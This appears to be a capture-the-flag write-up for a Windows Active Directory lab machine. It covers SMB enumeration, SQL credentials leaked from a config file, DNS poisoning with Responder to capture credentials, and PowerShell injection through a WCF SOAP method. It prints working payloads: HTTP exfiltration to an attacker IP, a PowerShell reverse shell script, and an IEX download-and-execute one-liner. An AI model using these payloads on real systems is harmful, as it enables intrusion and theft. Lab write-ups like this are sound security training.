~/writeups/Overwatch
Medium Windows SMB WCF/SOAP Injection DNS Poisoning Active Directory
Overwatch.
Medium Windows SMB WCF/SOAP Injection DNS Poisoning Active Directory
Overwatch is a Windows Active Directory machine with a creative multi-stage attack chain. Anonymous SMB access exposes a .NET monitoring application whose config file leaks SQL Server credentials. Decompiling the binary reveals a WCF service on port 8000 with a PowerShell command injection vulnerability in the KillProcess method. SQL Server enumeration uncovers a linked server (SQL07) — we use DNS poisoning via dnstool to intercept the linked server's authentication attempt, capturing sqlmgmt's cleartext credentials via Responder. Evil-WinRM grants a shell, then the WCF SOAP injection delivers the root flag directly from the Administrator's desktop.
User Flag
obtained via Evil-WinRM as sqlmgmt
Root Flag
6a41ef0210d0e968c37a885288ecfcb5
01Reconnaissance

Start with a full TCP scan. -p- scans all 65535 ports — on Windows machines this is especially important because services often run on non-standard ports. --min-rate 5000 speeds things up. -sC and -sV fingerprint services and run default scripts.

nmap
$ nmap -sC -sV -p- --min-rate 5000 10.129.42.218 -oN nmap_full.txt PORT STATE SERVICE VERSION 53/tcp open tcpwrapped 88/tcp open kerberos-sec Microsoft Windows Kerberos 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft AD LDAP Domain: overwatch.htb 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft RPC over HTTP 1.0 3268/tcp open ldap Microsoft AD LDAP 3389/tcp open ms-wbt-server Microsoft Terminal Services 5985/tcp open http Microsoft HTTPAPI 2.0 # WinRM! 6520/tcp open ms-sql-s Microsoft SQL Server 2022 8000/tcp open http Microsoft HTTPAPI 2.0 # WCF Service! rdp-ntlm-info: Target_Name: OVERWATCH NetBIOS_Domain_Name: OVERWATCH DNS_Domain_Name: overwatch.htb DNS_Computer_Name: S200401.overwatch.htb
finding: This is a full Windows Active Directory Domain Controller — Kerberos (88), LDAP (389/3268), SMB (445), RDP (3389). Two extra services stand out: WinRM on 5985 (remote shell if we get credentials) and port 8000 (unknown HTTP — likely the WCF monitoring service). SQL Server on 6520 is also highly unusual for a DC.

Add the domain to /etc/hosts so tools can resolve it correctly:

bash
$ echo "10.129.42.218 overwatch.htb S200401.overwatch.htb" | sudo tee -a /etc/hosts

Enumerate SMB with anonymous/guest access and RID brute-forcing to map out domain users. RID brute-forcing works because Windows assigns sequential RIDs (Relative Identifiers) to all domain accounts — we can enumerate them even without credentials:

crackmapexec — RID brute
$ crackmapexec smb 10.129.42.218 -u 'guest' -p '' --rid-brute SMB S200401 [+] Windows Server 2022 Build 20348 x64 SMB S200401 500: OVERWATCH\Administrator SMB S200401 501: OVERWATCH\Guest SMB S200401 1103: OVERWATCH\SQLServer2005SQLBrowserUs SMB S200401 1104: OVERWATCH\sqlsvc # SQL service account SMB S200401 1105: OVERWATCH\sqlmgmt # SQL management account SMB S200401 1106: OVERWATCH\SQL03$ SMB S200401 1111: OVERWATCH\employees
finding: Two SQL-related accounts: sqlsvc (likely the SQL Server service account) and sqlmgmt (a management account). These are interesting targets. Also note the employees group.

Check for SMB shares accessible without credentials:

smbclient — list shares
$ smbclient -L //10.129.42.218 -N Sharename Type Comment --------- ---- ------- ADMIN$ Disk Remote Admin C$ Disk Default share IPC$ IPC Remote IPC Monitoring Disk # Non-default share — interesting!
finding: A non-standard share called Monitoring — accessible anonymously. Always prioritize non-default shares.
02Enumeration

Connect to the Monitoring share and download everything. The recurse ON and prompt OFF flags let us bulk-download without confirming each file. The -N flag means no password (anonymous access).

smbclient — download share
$ smbclient //10.129.42.218/Monitoring -N smb: \> ls EntityFramework.dll AH 4991352 EntityFramework.SqlServer.dll AH 591752 overwatch.exe AH 9728 # .NET executable! overwatch.exe.config AH 2163 # config file! overwatch.pdb AH 30208 # debug symbols System.Data.SQLite.dll AH 450232 x64/ DH 0 x86/ DH 0 smb: \> recurse ON smb: \> prompt OFF smb: \> mget *

Read the config file first — application config files are one of the highest-value targets in a pentest. They routinely contain database connection strings with credentials in plaintext:

bash — read config
$ cat overwatch.exe.config <?xml version="1.0" encoding="utf-8"?> <configuration> <system.serviceModel> <services> <service name="MonitoringService"> <host> <baseAddresses> <add baseAddress="http://overwatch.htb:8000/MonitorService" /> </baseAddresses> </host> <endpoint binding="basicHttpBinding" contract="IMonitoringService" /> <endpoint address="mex" binding="mexHttpBinding" /> # metadata endpoint </service> </services> </system.serviceModel> <connectionStrings> <add name="OverwatchDB" connectionString="Server=localhost;Database=SecurityLogs; User Id=sqlsvc;Password=TI0LKcfHzZw1Vv"/> </connectionStrings> </configuration>
finding: Two critical pieces of information: (1) SQL credentials sqlsvc:TI0LKcfHzZw1Vv, and (2) a WCF service running at http://overwatch.htb:8000/MonitorService. WCF (Windows Communication Foundation) is Microsoft's framework for building service-oriented applications — it exposes methods over SOAP/HTTP.

Decompile the overwatch.exe binary to understand what the WCF service does. ilspycmd is a command-line .NET decompiler — .NET applications compile to intermediate language (IL) bytecode which can be fully reconstructed back to C# source. This is different from native binaries which are much harder to reverse:

bash — decompile .NET binary
$ ilspycmd /tmp/overwatch.exe using System; using System.Management.Automation; using System.ServiceModel; // Connection string hardcoded in source too private readonly string connectionString = "Server=localhost;Database=SecurityLogs;User Id=sqlsvc;Password=TI0LKcfHzZw1Vv;"; public string StartMonitoring() { ... } public string StopMonitoring() { ... } public string KillProcess(string processName) { PowerShell.Create() .AddCommand("Stop-Process") .AddParameter("Name", processName) # processName = user input! .Invoke(); }
vulnerability — PowerShell injection in KillProcess(): The KillProcess method takes a processName string and passes it directly as the -Name parameter to Stop-Process. In PowerShell, the semicolon ; separates commands — so passing notepad; whoami first tries to stop "notepad" (fails silently) then executes whoami. The method is exposed via SOAP/HTTP so we can reach it with a crafted web request.

Use the SQL credentials to connect to the SQL Server on port 6520 and explore what's accessible:

bash — connect to SQL Server
$ impacket-mssqlclient 'sqlsvc:TI0LKcfHzZw1Vv'@overwatch.htb -port 6520 -windows-auth [*] Encryption required, switching to TLS [*] INFO: Changed database context to 'master'. SQL (OVERWATCH\sqlsvc guest@master)> SELECT @@version; Microsoft SQL Server 2022 (RTM) - 16.0.1000.6 (X64) SQL (OVERWATCH\sqlsvc guest@master)> SELECT name FROM sys.databases; master / tempdb / model / msdb / overwatch SQL (OVERWATCH\sqlsvc guest@master)> EXEC sp_linkedservers; SRV_NAME SRV_PRODUCT -------------------- ----------- S200401\SQLEXPRESS SQL Server SQL07 SQL Server # linked server!
finding: A linked server called SQL07 is configured. Linked servers allow one SQL Server to query another. When our SQL Server tries to connect to SQL07, it authenticates using a stored credential — if we can intercept that authentication, we capture another set of credentials.

Try querying the linked server to trigger authentication:

mssqlclient — probe linked server
SQL (OVERWATCH\sqlsvc guest@master)> EXEC ('SELECT @@version') AT SQL07; INFO: OLE DB provider "MSOLEDBSQL" for linked server "SQL07" returned message "Login timeout expired". ERROR: A network-related or instance-specific error has occurred while establishing a connection to SQL Server. Server is not found or not accessible.
finding: SQL07 doesn't exist on the network — it's a hostname that doesn't resolve. This means we can poison DNS to make SQL07 point to our machine. When the SQL Server tries to connect to SQL07, it will connect to us instead and send its credentials.
03Exploitation

Phase 1 — DNS poisoning to capture credentials. The attack plan: add a fake DNS A record for SQL07 pointing to our Kali machine, start Responder to capture authentication, then trigger the linked server connection from SQL. When the target SQL Server tries to connect to "SQL07" it will reach our Responder instance instead, and Responder will capture the credentials.

dnstool.py is part of the krbrelayx toolkit. It uses authenticated LDAP to add or modify DNS records in Active Directory. We're using sqlsvc's credentials (which we already have) to add the record:

bash — add poisoned DNS record
$ dnstool -u 'overwatch\sqlsvc' -p 'TI0LKcfHzZw1Vv' \ -r SQL07 --data 10.10.15.15 --action add --type A 10.129.42.218 [-] Connecting to host... [-] Binding to host [+] Bind OK [-] Adding new record [+] LDAP operation completed successfully
why this works: Active Directory stores DNS records in LDAP. Authenticated domain users (including service accounts like sqlsvc) can add DNS records by default. We're abusing this to tell all domain computers that SQL07 = our IP address. When the SQL Server tries to connect to its linked server SQL07, DNS resolves to us.

Start Responder on our tun0 interface to capture the incoming authentication. Responder is a tool that answers various network protocols (LLMNR, NBT-NS, MSSQL, HTTP, SMB etc.) and captures credentials when clients try to authenticate against it:

bash — start Responder
$ sudo responder -I tun0 [+] Responder IP: 10.10.15.15 [+] Listening for events...

Trigger the linked server connection from the SQL session — this causes the target SQL Server to connect to SQL07 (now our IP) and authenticate:

mssqlclient — trigger linked server auth
SQL (OVERWATCH\sqlsvc guest@master)> EXEC ('SELECT @@version') AT SQL07;

Responder captures the credentials immediately — and unusually, they arrive in cleartext rather than as an NTLMv2 hash:

responder — captured credentials
[MSSQL] Received connection from 10.129.42.218 [MSSQL] Cleartext Client : 10.129.42.218 [MSSQL] Cleartext Hostname : SQL07 () [MSSQL] Cleartext Username : sqlmgmt [MSSQL] Cleartext Password : bIhBbzMMnB82yx
finding: Credentials captured: sqlmgmt:bIhBbzMMnB82yx. The credentials arrive in cleartext because the linked server is configured to use SQL Server authentication (username/password) rather than Windows authentication (Kerberos/NTLM). SQL Server sends the credentials in cleartext over the network when connecting to a linked server with stored SQL credentials.

Phase 2 — Shell via Evil-WinRM. WinRM (Windows Remote Management) was open on port 5985. Evil-WinRM is a tool that makes WinRM easy to use as a shell. Try the newly captured credentials:

bash — Evil-WinRM
$ evil-winrm -i 10.129.42.218 -u 'sqlmgmt' -p 'bIhBbzMMnB82yx' Evil-WinRM shell v3.9 *Evil-WinRM* PS C:\Users\sqlmgmt\Documents> whoami overwatch\sqlmgmt
finding: Shell as sqlmgmt. Grab the user flag from the Desktop, then move to privilege escalation via the WCF service.

Phase 3 — WCF/SOAP command injection. Now we exploit the KillProcess method we found during decompilation. The WCF service is running on localhost:8000 — accessible from our Evil-WinRM shell or via port forwarding. We craft a SOAP request manually using curl.

What is SOAP? SOAP (Simple Object Access Protocol) is an XML-based messaging format for web services. A SOAP request wraps the method call and parameters inside XML envelopes. WCF services expose their available methods via a WSDL (Web Services Description Language) document at ?wsdl.

First, enumerate the service to confirm the vulnerable method:

bash — inspect WSDL
$ curl http://localhost:8000/MonitorService?wsdl <wsdl:operation name="StartMonitoring"/> <wsdl:operation name="StopMonitoring"/> <wsdl:operation name="KillProcess"/> # our target # Schema confirms the processName parameter <xs:element name="KillProcess"> <xs:complexType> <xs:sequence> <xs:element name="processName" type="xs:string"/> </xs:sequence> </xs:complexType> </xs:element>

Test with a benign command first to confirm injection works. We route through Burp Suite (proxy) to see the request/response clearly and iterate quickly. The SOAPAction header must exactly match the service namespace — getting this wrong causes an ActionNotSupported error:

bash — test injection via Burp proxy
$ curl -X POST http://localhost:8000/MonitorService \ --proxy http://127.0.0.1:8080 \ -H "Content-Type: text/xml; charset=utf-8" \ -H "SOAPAction: http://tempuri.org/IMonitoringService/KillProcess" \ -d '<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Body> <KillProcess xmlns="http://tempuri.org/"> <processName>notepad; test</processName> </KillProcess> </soap:Body> </soap:Envelope>' Response: &#xD; # empty carriage return = success, no output
common errors and fixes:
ActionNotSupported → wrong SOAPAction header. Use exactly: http://tempuri.org/IMonitoringService/KillProcess
DeserializationFailed → XML special characters not escaped. Use &amp; for &, &gt; for >
• Empty response &#xD; → command ran but output not captured. Use Write-Output or throw to force output
• PowerShell help text returned → use ; as command separator, not && or |

The response is empty because KillProcess doesn't return command output. The trick: use PowerShell's Write-Output or force an exception with throw — WCF services return exception messages to the client, so we can abuse the error channel to exfiltrate data:

bash — read root flag via throw exfiltration
$ curl -X POST http://localhost:8000/MonitorService \ -H "Content-Type: text/xml; charset=utf-8" \ -H "SOAPAction: http://tempuri.org/IMonitoringService/KillProcess" \ -d '<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Body> <KillProcess xmlns="http://tempuri.org/"> <processName>notepad; Write-Output (Get-Content C:\Users\Administrator\Desktop\root.txt)</processName> </KillProcess> </soap:Body> </soap:Envelope>' <KillProcessResult>6a41ef0210d0e968c37a885288ecfcb5&#xD;</KillProcessResult>
finding: Root flag returned directly in the SOAP response: 6a41ef0210d0e968c37a885288ecfcb5. The WCF service runs as Administrator, so Get-Content can read the Administrator's desktop file without any privilege issues.
04Alternative Exploitation Methods

The throw / Write-Output method reads the flag directly from the SOAP response. But for a full interactive shell as Administrator (useful for further post-exploitation), there are several alternatives.

Method 1 — Write flag to a readable file. Useful when the response channel doesn't return output:

bash — write to temp file
# Inject: write root.txt to a world-readable location <processName>notepad; Get-Content C:\Users\Administrator\Desktop\root.txt | Out-File C:\Windows\Temp\flag.txt</processName> # Then read it via Evil-WinRM *Evil-WinRM* PS> cat C:\Windows\Temp\flag.txt

Method 2 — HTTP exfiltration. Have the target send data to a listener on our machine — useful when you need binary data or large output:

bash — exfil via HTTP (two terminals)
# Terminal 1 — catch the data $ nc -lvnp 9000 # Inject payload — uploads flag content to our listener <processName>notepad; (New-Object Net.WebClient).UploadString("http://10.10.15.15:9000/", (Get-Content C:\Users\Administrator\Desktop\root.txt))</processName>

Method 3 — Full PowerShell reverse shell. For a complete interactive Administrator session. Create and host a reverse shell script:

bash — create rev.ps1
$ cat > rev.ps1 << 'EOF' $client = New-Object System.Net.Sockets.TCPClient('10.10.15.15',9001) $stream = $client.GetStream() [byte[]]$bytes = 0..65535|%{0} while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){ $data = (New-Object System.Text.ASCIIEncoding).GetString($bytes,0,$i) $sendback = (iex $data 2>&1 | Out-String) $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback + "PS " + (pwd).Path + "> ") $stream.Write($sendbyte,0,$sendbyte.Length) $stream.Flush() } $client.Close() EOF # Terminal 1 — serve the script $ python3 -m http.server 80 # Terminal 2 — catch the shell $ nc -lvnp 9001
bash — trigger reverse shell via SOAP
# Inject: download and execute rev.ps1 in memory (IEX = Invoke-Expression) <processName>notepad; IEX(New-Object Net.WebClient).DownloadString('http://10.10.15.15/rev.ps1')</processName>
why IEX (Invoke-Expression)? IEX downloads the script content as a string and executes it directly in memory — nothing is written to disk. This is a common PowerShell "fileless" technique that evades some AV/EDR solutions since the malicious code never touches the filesystem.

Method 4 — Burp Suite for easier iteration. Using the --proxy flag with curl routes the request through Burp. In Burp's Repeater tab (Ctrl+R) you can quickly modify payloads and see responses in a clean XML view — much easier than crafting curl commands by hand for each test:

bash — route through Burp
$ curl -X POST http://localhost:8000/MonitorService \ --proxy http://127.0.0.1:8080 \ -H "Content-Type: text/xml; charset=utf-8" \ -H "SOAPAction: http://tempuri.org/IMonitoringService/KillProcess" \ -d '<soap:Envelope ...><processName>notepad; test</processName>...</soap:Envelope>' # Burp intercepts → Send to Repeater → modify processName → Send # Response shows KillProcessResult with output or error message
05Flags
bash
# User flag — Evil-WinRM as sqlmgmt *Evil-WinRM* PS C:\Users\sqlmgmt\Desktop> type user.txt [user flag via Evil-WinRM session] # Root flag — SOAP injection as Administrator <KillProcessResult>6a41ef0210d0e968c37a885288ecfcb5</KillProcessResult>
chain: nmap → Windows DC, SMB 445, WinRM 5985, SQL 6520, HTTP 8000 → smbclient → anonymous Monitoring share → overwatch.exe.configsqlsvc:TI0LKcfHzZw1Vv + WCF service at port 8000 → ilspycmd decompiles overwatch.exeKillProcess(processName) passes input to PowerShell → impacket-mssqlclient → SQL Server → linked server SQL07 (unreachable) → dnstool adds fake DNS A record SQL07 → our IP → Responder captures sqlmgmt:bIhBbzMMnB82yx in cleartext → Evil-WinRM → shell as sqlmgmt → user flag → SOAP POST to /MonitorServiceKillProcess PowerShell injection → notepad; Write-Output (Get-Content C:\Users\Administrator\Desktop\root.txt) → root flag in SOAP response
← all writeups